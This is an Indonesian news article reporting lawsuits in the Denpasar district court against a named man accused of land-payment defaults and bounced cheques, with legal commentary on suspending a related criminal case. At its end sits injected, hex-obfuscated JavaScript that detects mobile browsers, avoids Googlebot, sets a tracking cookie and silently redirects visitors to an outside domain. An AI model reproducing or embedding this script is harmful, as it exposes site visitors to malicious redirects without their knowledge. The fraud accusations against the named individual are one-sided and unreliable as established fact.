“Mafia Tanah Ini” Rawan Di Jebloskan Kepenjara

bebas bayar, pembayaran mudah dan cepat, transaksi online, pembayaran tagihan dan tiket, transfer dana online

 

I Wayan Suarta / dok lensa

I Wayan Suarta / dok lensa

forumnusantaranews.com-Denpasar.I Wayan Suarta, pria kelahiran karang asem ini benar-benar akan menuai hasil perbuatanya,hari ini saja 12/06/16.dia harus menghadapi dua gugatan PMH perbuatan melawan hukum di pengadilan negeri Denpasar ,dengan nomor perkara 249/pdt.G/2016 atas nama penggugat Ibu Jola Kathrine ( 66 ) dan 404/pdt.G/2016 atas gugatan dari I Made Kembir warga Jimbaran,yang keduanya dikuasakan kepada penasehat hukumnya, Benhard Manurung SH dan Muh.Zainul Arifin SH dari LBH “TRI DAYA CAKTI” Surabaya.

 
Terkait gugatan dari Jola yang disidangkan dengan agenda mediasi 12/07/16 hakim mediator menyayangkan karena durasi waktu 30 hari yang diberikan untuk mediasi ternyata belum bisa menghasilkan Win Solution diantara para pihak ” karena batas waktu yang diberikan sudah habis,maka proses mediasi ini saya nyatakan gagal.” tegas hakim mediator.

 
Saat proses mediasi berjalan sebenarnya penggugat (Jola.red) telah menunjukan sikap dan itikad baik,dengan selalu hadir dan kooperatif dalam setiap proses persidangan,hal senada juga disampaikan oleh Hakim Mediator ” sebenarnya penggugat ini sudah ada itikad baik,untuk menyelsaikan masalah lewat jalur mediasi,tetapi tergugat ( I Wayan Suarta ) tidak mengindahkan relaas/panggilan dari pengadilan dan tidak ada alasan yang dibenarkan kenapa prinsipal tidak hadir saat proses mediasi  ” papar Hakim saat proses medisi.

 
Ulah dari I wayan Suarta yang tidak mengindahkan panggilan ini bisa diartikan Pembangkangan sebagai warga negara,oleh sebab itu Hakim pun merasa geram akan kelakuanya, dengan nada tinggi beliau menanyakan perihal akan ketidak hadiran I Wayan Suarta dalam persidangan kepada kuasa hukumnya ( Irza syahbanu putra SH ) ” kenapa ini prinsipal tidak mau hadir,apa alasanya? Saya harap prinsipal hadir pada sidang selanjutnya” tegasnya.
“Baik yang mulia nanti akan saya sampaikan ” tutur Irza,menjawab pertanyaan dari Hakim Mediator.

 

 

Saat forumnusantaranews.com mencoba untuk konfirmasi kepada Wayan Suarta melalui sambungan telephone berkali kali mendengar nada sambung akan tetapi tidak pernah diangkat,bahkan selang beberapa saat hand phonenya pun dimatikan.begitu juga saat beritalensa.com mendatangi kediaman Wayan Suarta di Jalan Noja, terlihat sepi dan tidak berpenghuni.

 
I WAYAN SUARTA DILAPORKAN HILANG, DAN TRANSAKSIKAN 27 CEK BODONG

 
masih disekitar Pengadilan Negeri Denpasar,forumnusantaranews.com.mendapatkan informasi bahwa I Wayan Suarta dilaporkan hilang oleh keluarganya di Polda Bali,hal itu yang mungkin menjadi alasan kenapa Wayan Suarta tidak hadir dalam sidang mediasi di pengadilan.

 
Akan tetapi hilangnya Wayan Suarta sendiri menuai tanda tanya besar,pasalnya beritalensa.com juga mendapat informasi dari seorang advokat yang namanya tidak mau dipublikasikan menerangkan bahwa Wayan Suarta telah menipu Klienya dengan memakai 27 cek bodong ” cek itu sebenarnya 28 lembar,yang satu oleh klien kami bisa dicairkan akan tetapi yang 27 lembar  itu cek bodong nilainya mencapai 7 Miliar” papar lawyer berbadan tinggi itu.

 
Modus operandi Wayan Suarta dalam menjalankan aksinya ini bisa dikatakan selalu memakai cara yang sama,Jola Kathrine (66) Juga sempat diberi dua lembar BG ( bilyet giro ) Yang satu lembar bisa dicairkan sedangkan yang satu lembar lagi bodong tidak bisa dicairkan.

 
Ironisnya lagi I Made Kembir juga mengalami seperti yang dialami oleh Ibu Jola,parahnya lagi kedua cek yang diberi oleh Wayan Suarta kepada I made Kembir semuanya tidak bisa dicairkan alias Bodong.

 
Karena banyaknya korban yang merasa ditipu oleh Wayan Suarta tidak menutup kemungkinan ketiga korban ini akan melaporkan Wayan Suarta dengan laporan pasal 379a ( menipu untuk mata pencarian ) dengan ancaman hukuman 7 ( tujuh ) tahun penjara.

 
PERKARA PIDANA I MADE KEMBIR WAJIB DITANGGUHKAN

 
Seperti yang telah diberitakan beritalensa.com sebelumnya bahwa I Made Kembir (52) telah dilaporkan oleh Wayan Suarta tentang dugaan tindak pidana penipuan dan penggelapan diPolresta Denpasar terkait uang 110 Juta yang ia kasbon.

 
Padahal kasbon 110 juta tersebut adalah sebagian hak dari imade kembir,yang wajib dibayar oleh Wayan Suarta karena Wayan Suarta sendiri punya kewajiban membayar tanah seluas 38 are,dan juga 18 are hak milik dari I Made Kembir yang sampai berita ini ditulis belum dituntaskan pembayaranya dengan nilai mencapai 1,9 Milyar.Oleh sebab itu I Made Kembir melalui Kuasa Hukumnya I Wayan Suka SH, melakukan gugatan yang ke dua di Pengadilan Negeri Denpasar dengan No perkara 470/Pdt.G/2016 .tentang Hutang Piutang.

 
Bahkan kuasa Hukum I Made Kembir I Wayan Suka SH telah mengirim surat penangguhan pemeriksaan ataupun penuntutan terhadap Kajari Denpasar dengan dasar pasal 81 KUHP dan juga “Pre Judicieel” PERMA NO.1 Tahun 56 yang intinya menagguhkan untuk sementara akan pemeriksaan perkara Pidana yang dialami Klienya sampai ada keputusan yang Incracht dari pengadilan akan ada atau tidaknya unsur perdata dalam gugatanya tersebut.

 
Saat forumnusantaranews.com melakukan kajian dan diskusi bersama praktisi hukum, dan juga Lawyer tentang masalah dan perkara ini. dimana pembahasanya adalah seputar materi akan kewenangan dan Diskresi Jaksa dalam hal pemeriksaan dan penuntutan terhadap tersangka ataupun terdakwa. tetapi disisi lain adanya pasal 81 KUHP dan juga Pre Judicieel PERMA NOMOR 1 Tahun 56 yang mengamanatkan penangguhan pemeriksaan/penuntutan sementara. ternyata banyak dari kalangan praktisi hukum maupun Lawyer berpendapat wajib menghentikan atau menangguhkan sementara pemeriksaan atau pun penuntutan yang dilakukan pihak kePolisian ataupun Kejaksaan,” kalau menurut saya perkara pidana ini wajib ditangguhkan” papar Ana Indah Wati,Lawyer berparas cantik asal kota Jember ini,saat melakukan diskusi (12/07/16).

 
Jnvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}


Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *